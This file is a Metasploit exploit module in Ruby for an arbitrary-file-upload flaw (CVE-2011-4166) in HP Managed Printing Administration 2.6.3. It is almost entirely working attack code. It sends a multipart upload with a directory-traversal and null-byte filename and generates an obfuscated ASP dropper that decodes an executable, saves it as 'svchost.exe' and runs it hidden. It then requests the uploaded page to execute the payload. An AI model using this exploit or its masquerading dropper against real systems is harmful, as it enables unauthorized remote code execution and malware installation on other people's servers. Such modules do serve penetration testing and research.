245 lines
9.4 KiB
Ruby
245 lines
9.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'HP Managed Printing Administration jobAcct Remote Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file upload vulnerability on HP Managed Printing
|
|
Administration 2.6.3 and prior versions. The vulnerability exists in the UploadFiles()
|
|
function from the MPAUploader.Uploader.1 control, loaded and used by the server.
|
|
The function can be abused via directory traversal and null byte injection in order
|
|
to achieve arbitrary file upload. In order to exploit successfully, a few conditions
|
|
must be met. First, a writable location under the context of Internet Guest Account
|
|
(IUSR_*) or Everyone is required. By default, this module will attempt to write to
|
|
/hpmpa/userfiles/, but the WRITEWEBFOLDER option can be used to provide
|
|
another writable path. Second, the writable path must also be readable by a browser,
|
|
so this typically means a location under wwwroot. Finally, you cannot overwrite
|
|
a file with the same name as the payload.
|
|
},
|
|
'Author' => [
|
|
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'Platform' => 'win',
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-4166'],
|
|
['OSVDB', '78015'],
|
|
['BID', '51174'],
|
|
['ZDI', '11-352'],
|
|
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Dec 21 2011'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ])
|
|
])
|
|
end
|
|
|
|
def webfolder_uri
|
|
begin
|
|
u = datastore['WRITEWEBFOLDER']
|
|
u = "/" if u.nil? or u.empty?
|
|
URI(u).to_s
|
|
rescue ::URI::InvalidURIError
|
|
print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
|
|
return "/"
|
|
end
|
|
end
|
|
|
|
def to_exe_asp(exes = '')
|
|
|
|
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_f64name = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_length = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_out = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_group = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_char = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_thisdata = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
const_base64 = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_ngroup = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_pout = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
vbs = "<%\r\n"
|
|
|
|
# ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
|
|
vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
|
|
vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
|
|
vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
|
|
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
|
|
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
|
|
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
|
|
vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
|
|
vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
|
|
vbs << "Exit Function\r\n"
|
|
vbs << "End If\r\n"
|
|
vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
|
|
vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
|
|
vbs << "#{var_bytes} = 3\r\n"
|
|
vbs << "#{var_ngroup} = 0\r\n"
|
|
vbs << "For #{var_counter} = 0 To 3\r\n"
|
|
vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
|
|
vbs << "If #{var_char} = \"=\" Then\r\n"
|
|
vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
|
|
vbs << "#{var_thisdata} = 0\r\n"
|
|
vbs << "Else\r\n"
|
|
vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
|
|
vbs << "End If\r\n"
|
|
vbs << "If #{var_thisdata} = -1 Then\r\n"
|
|
vbs << "Exit Function\r\n"
|
|
vbs << "End If\r\n"
|
|
vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
|
|
vbs << "Next\r\n"
|
|
vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
|
|
vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
|
|
vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
|
|
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
|
|
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
|
|
vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
|
|
vbs << "Next\r\n"
|
|
vbs << "#{var_f64name} = #{var_out}\r\n"
|
|
vbs << "End Function\r\n"
|
|
|
|
vbs << "Sub #{var_func}()\r\n"
|
|
vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
|
|
vbs << "Dim #{var_obj}\r\n"
|
|
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
|
vbs << "Dim #{var_stream}\r\n"
|
|
vbs << "Dim #{var_tempdir}\r\n"
|
|
vbs << "Dim #{var_tempexe}\r\n"
|
|
vbs << "Dim #{var_basedir}\r\n"
|
|
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
|
|
|
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
|
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
|
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
|
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
|
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
|
vbs << "#{var_stream}.Close\r\n"
|
|
vbs << "Dim #{var_shell}\r\n"
|
|
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
|
|
|
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
|
|
vbs << "End Sub\r\n"
|
|
|
|
vbs << "#{var_func}\r\n"
|
|
vbs << "%>\r\n"
|
|
vbs
|
|
end
|
|
|
|
def upload(contents, location)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
|
|
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
|
|
data = post_data.to_s
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
|
|
'method' => 'POST',
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'data' => data,
|
|
'encode_params' => false,
|
|
'vars_get' => {
|
|
'userId' => rand_text_numeric(2+rand(2)),
|
|
'jobId' => rand_text_numeric(2+rand(2))
|
|
}
|
|
})
|
|
return res
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
|
|
version = nil
|
|
if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
|
|
version = $1
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
vprint_status("HP MPA Version Detected: #{version}")
|
|
|
|
if version <= "2.6.3"
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
def exploit
|
|
# Generate the ASP containing the EXE containing the payload
|
|
exe = generate_payload_exe
|
|
# Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
|
|
asp = to_exe_asp(exe)
|
|
|
|
#
|
|
# UPLOAD
|
|
#
|
|
asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
|
|
locations = [
|
|
"/hpmpa/userfiles/images/printers/",
|
|
"/hpmpa/userfiles/images/backgrounds/",
|
|
"/hpmpa/userfiles/images/",
|
|
"/hpmpa/userfiles/",
|
|
"/"
|
|
]
|
|
|
|
locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']
|
|
|
|
payload_url = ""
|
|
|
|
locations.each {|location|
|
|
asp_location = location + asp_name
|
|
print_status("Uploading #{asp.length} bytes to #{location}...")
|
|
res = upload(asp, asp_location)
|
|
if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
|
|
print_good("ASP Payload successfully wrote to #{location}")
|
|
payload_url = asp_location
|
|
break
|
|
elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
|
|
print_error("Error probably due to permissions while writing to #{location}")
|
|
else
|
|
print_error("Unknown error while while writing to #{location}")
|
|
end
|
|
}
|
|
|
|
if payload_url.empty?
|
|
fail_with(Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
|
|
end
|
|
|
|
#
|
|
# EXECUTE
|
|
#
|
|
print_status("Executing payload through #{payload_url}...")
|
|
send_request_cgi({ 'uri' => payload_url})
|
|
end
|
|
end
|
|
|